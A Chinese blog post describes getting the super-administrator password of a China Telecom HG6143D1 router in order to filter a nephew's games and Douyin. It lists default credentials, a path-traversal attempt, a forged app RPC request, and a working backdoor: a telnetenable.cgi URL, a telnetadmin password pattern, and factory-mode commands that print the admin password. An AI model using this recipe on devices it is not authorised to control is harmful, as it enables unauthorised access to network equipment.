HG6143D1 型号路由器获得超级管理员密码

因为嫌未满18岁的外甥外放抖音太吵,并且打网游上瘾,我决定在力所能及的范围内采取一些措施。

例如尝试编辑电信路由器的防火墙,将游戏对应的域名设为禁止访问。

这里写一下探索的过程,正解会放在最后一节。

虚假的管理界面

我先前在路由器背面看到了终端管理界面的用户名useradmin和密码(一个5位纯字母),访问http://192.168.1.1是可以进入的。然而,当你遍历完路由器的所有设置后:

发现并没有一个任何一个设置与路由器的防火墙有关,甚至唯一一个稍微有点作用的就是修改 WiFi 密码。所以这个管理界面仅仅只是起到了满足部分人的虚荣心的作用,功能是极度鸡肋的。

通过 STFW 后得知,我们的登录用户useradmin仅仅只是普通用户,而想要得到真正的“管理界面”,需要以“超级管理员”telecomadmin登录并且输入正确的密码。于是接下来这几节便陷入了寻找“超级管理员”密码的漫漫征途中。

成功方法0:人情世故

理论上最快的方法是——专业的事情交给专业的人来解决。给宽带师傅发红包或者打电话问客服,有几率可以成功。例如:

我这恰好前些天让整的iptv,用了十多年的老电信用户了,最早的那种电视盒子以后就再没给换过,我找客服说这个事情,然后来给我装盒子的那个师傅是我初中同学,就加了个微信,折腾的那几天,网上的方案试了个遍都不行,我有点不好意思找那个师傅,因为说熟悉吧,又不是那么熟,我先建议的小黄鱼的,十块钱给我查,但是当天太晚了没弄成,说第二天查到了发我,结果说他们那边程序抽风,查不到,给我退了,建议我建议宽带师傅,我厚着脸皮问了一下我那老同学,很爽快的直接给我查了,让我不要乱改,说这个原本给我也是不合规的,我进去第一时间删除了tr069,然后研究半天,单线复用,telnet也开了并且固定了,现在内网里iptv所有设备都可以用,iptv盒子也可以正常用,美滋滋[吃瓜]

Okay-Alone: https://www.bilibili.com/video/av114002340354203/

但这样做就暴露我要对网络动手脚的意图了,会被外甥发现。

失败方法1:默认密码

ATFAI(Ask The F**king AI)后得知,作为电信设备,telecomadmin的默认密码是nE7jA%5m,我尝试了一下,密码错误。

又一次 STFW 后得到,“超级管理员”的默认密码的确是nE7jA%5m不错,但是光纤入网后,密码会被重新修改成一个含字母、数字和特殊字符的8位字符串,即使抓包来暴力破解在时间成本上也不可行。(当然你可以选择恢复路由器的出厂设置再登录,但这样就会被外甥发现了

在B站上一搜,果然有很多尝试获取电信宽带管理员密码的视频,我总结一下主要有三类解法,展示如下:

失败方法2:路径穿越

视频链接

学过路径穿越漏洞知识的同学都知道,我们可以通过..来返回父文件夹,再多循环几次../../../../就可以到根目录了。于是这里来了一个实际的案例:

首先,我的路由器是可以允许插一个U盘的,而web界面是可以访问这个U盘的内容的,因此,我们可以提前在这个U盘里放一个文件夹(例如UMR),然后在浏览器前端的js函数(例如openfile('UMR', false)),将其修改为openfile('..', false),这样理论上就可以访问到这个文件夹的上一级。如果成功的话,改为openfile('../../../../', false)就可以到根目录了,这意味着你拥有了访问任意路径的权限。而管理员密码会以明文保存在某个文件中,只需将整个系统目录拷贝到U盘中慢慢查找即可。

然而事与愿违,我这里的情况是改为openfile('..', false)后界面没有任何显示,而如果改为openfile('../../../path/to/usb', false)后,U盘的内容又重新显示出来。因此我估计后端的逻辑重写了一遍,过滤了U盘路径之外的任何内容——这个漏洞已经被修复了,该方法失败。

失败方法3:App抓包

视频链接

该视频的思路是,下载路由器官方的app“小翼管家”,绑定路由器后进入路由器管理界面,里面有个开关路由器指示灯的选项。这个时候开始抓包,然后选取某个发往天翼服务器的包,将内容改为尝试查询管理员密码的 json 字符串并重新发包,这样 response 中就能看到正确的管理员密码。

为了搭建实验环境,我使用了四年前那个已经 root 并且安装 xposed 框架的旧手机,并在手机和电脑都安装了抓包软件 reqable。我们需要在安卓手机中安装解码 https 的 CA 证书(这一点我使用了安装 xposed 模块的方法),并将手机和电脑配对以方便将手机的发包命令在电脑上操作。我们抓到了若干与服务器通信的包,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /device/api?token=??????&MAC=??????? HTTP/1.1
Content-Type: application/json
SDKVersion: 3.6.2
phoneNum: ???????????
phoneOS: Android
systemVersion: 7.0
AppKey: ???????????
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.0; STF-AL10 Build/HUAWEISTF-AL10)
Host: nos10-2.189cube.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 187

{"InterfaceName":"com.ctc.igd1.SleepTimer","ObjectPath":"/com/ctc/igd1/Config/Power/SleepTimers","RPCMethod":"GetProperitesOfSubObjects","SequenceId":"31629","ServiceName":"com.ctc.igd1"}

于是我们按照网上的操作,将最后一行的json字符串改为:

1
2
3
4
5
6
7
8
{
"Params": [],
"MethodName": "GetTAPasswd",
"RPCMethod": "CallMethod",
"ObjectPath": "/com/ctc/igd1/Telecom/System",
"Interfacename": "com.ctc.igd1.SysCmd",
"ServiceName": "com.ctc.igd1"
}

于是,我们得到了以下结果:

我尝试了修改请求头的部分参数,发现影响输出结果的仅仅与POST参数的tokenMAC有关。随意修改token会输出 token 无效,修改 MAC 会提示该设备未注册,而尝试16进制解码token也没发现什么端倪——这意味着发包的漏洞似乎也被修复了,该方法失败。

成功方法1:尝试后门

我通过B站视频以及HG6143D1作为关键字搜索等方式,尝试了以下可能的后门链接(记得关闭代理):

1
2
3
4
http://192.168.1.1:8080/
http://192.168.1.1:8080/cgi-bin/abcdidfope94e0934jiewru8ew414.cgi
http://192.168.1.1:8080/cgi-bin/telnetenable.cgi?key=HG6143D1&telnetenable=1
http://192.168.1.1:8080/cgi-bin/telnetenable.cgi?telnetenable=1&key=<光猫MAC地址不带符号>

第一个页面空白半天加载不出来,第二个与第三个404,最后一个显示“telnet已开启”——终于成功了。于是我便按照提供第四个链接的教程进行接下来的操作:

  1. 进入wsl,输入telnet 192.168.1.1,用户名telnetadmin,密码FH-nE7jA%5mXXXXXX,其中XXXXXX替换为MAC地址的后六位去掉冒号
  2. 进入工厂模式,输入load_cli factory
  3. 此时 shell 由 $ 变为 #,输入 show admin_pwd 显示管理员密码。

我这边的情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
junyu33@zjy-asus /m/c/U/j/Desktop> telnet 192.168.1.1                                                            (base)
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
Login:telnetadmin
Password:
$load_cli factory
cli main init.....argc=2 /r/n
consoleFd = -1
----cli_main_begin 488 -1
cannot open (fh-bin)confile
cl_run_memfile_config unlocked success!
Config\factorydir# show admin_pwd
Success! admin_pwd=????????
Config\factorydir#

于是我们便拿到了管理员密码,浏览器输入http://192.168.1.1进入登录界面,输入超级管理员用户名telecomadmin和密码即可进入真正而丑陋的管理界面:

接下来的工作就简单了,进入“安全”->“URL过滤”,启用之。ATFAI一下外甥玩的游戏,以及播放抖音视频对应的URL,一个一个添加进去即可。